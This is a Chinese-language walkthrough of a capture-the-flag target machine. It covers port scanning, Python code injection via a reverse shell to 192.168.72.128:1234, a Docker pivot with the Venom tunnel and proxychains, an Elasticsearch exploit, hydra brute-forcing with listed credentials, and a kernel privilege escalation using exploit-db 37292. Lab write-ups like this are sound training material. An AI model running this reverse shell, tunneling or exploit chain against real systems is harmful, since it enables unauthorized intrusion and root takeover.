nmap -sP 192.168.72.0/24 -T4
通过简单排除,发现主机ip192.168.108.131
先进行粗略的扫描
nmap -p- 192.168.72.129
对发现的两个端口详细扫描
nmap -p 22,5000 192.168.72.129 -A
5000端口有http服务,并且有pyhton2,重点关注。
打开一看目测XSS
不过嘛基本素养:先dir扫描
dirb http://192.168.72.129:5000/
发现admin后台
打开一看,貌似是代码执行
主页先扔几个xss看看
没反应,泪目
看看admin,直接搞看不太懂是啥,上burp
没有js代码
上linux命令没啥用,我们试试python2代码,这个信息收集提到过
至于代码,直接问Chatgpt
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.72.128", 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
建立监听
nc -lnvp 1234
nice,拿到shell
值得注意的是,靶机貌似有个bug,当shell连接中断后,我们无法直接再次连接,只能重启靶机,再故技重施
为了避免其他不可避免的错误,编者将环境软件换成了xbox,ip有所变动
kali ip:10.0.2.15
target ip:10.0.2.4
输入id
竟然拿到了root权限,但是事情显然没有这么简单
进入root目录没有flag,find也找不到
于是回到根目录发现.dockerenv
那么我们八成在docker里
要进行逃逸肯定要扫描一下看看宿主机ip,端口
我们扫描ip可以使用ping并且结合脚本
如:
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done
发现了另外两个主机172.17.0.1和172.17.0.3
不过,如果在docker里我们没有nmap这种快速检测的工具,那么我们的信息收集工作将很难展开
因此,我们先进行kali对其内网的连接
本次我们使用开源内网穿透工具Venom
项目地址:
https://github.com/Dliv3/Venom/
下载解压后有:
简单的使用说明如下:
admin节点和agent节点均可监听连接也可发起连接
admin监听端口,agent发起连接:
admin.exe -lport 9999
agent.exe -rhost 192.168.72.129 -rport 9999
agent监听端口,admin发起连接:
agent.exe -lport 8888
admin.exe -rhost 192.168.72.130 -rport 8888
因此我们建立一个httpserver
并在docker下载
下载以后,赋予权限
chmod 777 ./agent_linux_x86
然后设置连接
./agent_linux_x86 -rhost 192.168.72.130 -rport 8888
当然,连接之前我们要进行监听
chmod 777 ./admin_linux_x86
./admin_linux_x86 -lport 8888
然后就成功了
建立socks代理 一个1080监听端口
命令很简单,如图:
下面我们用proxychains进行代理
输入sudo vi /etc/proxychains4.conf
在最下面修改下端口,socks4改成socks5,如图
探测一下172.17.0.1
proxychains nmap -Pn -sV -sT 172.17.0.1
同样的方法,看一下172.17.0.3
发现Elasticsearch程序,我们查找下看看有无漏洞
我们试一下第一个现成的脚本
将脚本复制到当前目录,查看代码并使用
拿到shell第一件事先信息收集一下
我们看到当前目录有passwords文件
查看一下
我们对其分别解密得到
user:
john
test
admin
root
jane
pass:
1337hack
1234test
1111pass
1234pass
1234jane
user和pass分别制成文件,使用hydra爆破
经过信息收集,我们发现其linux内核版本很低
因此我们进行内核提权
searchsploit linux 3.13
打开看一看,search指定的文件路径有错,不是3.c而是37292.c
复制文件到当前路径
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
由于靶机没有安装gcc我们需要手动编译
且代码部分含有gcc调用的代码,我们也需要删除(137–147行)并且手动运行
编译一下,报错不打紧
再找一下所缺失的ofs-lib.so
python3 -m http.server 888
上传我们编译好的exp和ofs-lib.so
搜索报错发现是kali的libc.so版本问题导致靶机无法运行
我们下载较低版本
推荐在下载
https://ftp.gnu.org/gnu/glibc/
中科大也有,不过老版本得自行编译安装
解压后用-Ldir指定libcso文件
然后重新操作就行了
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。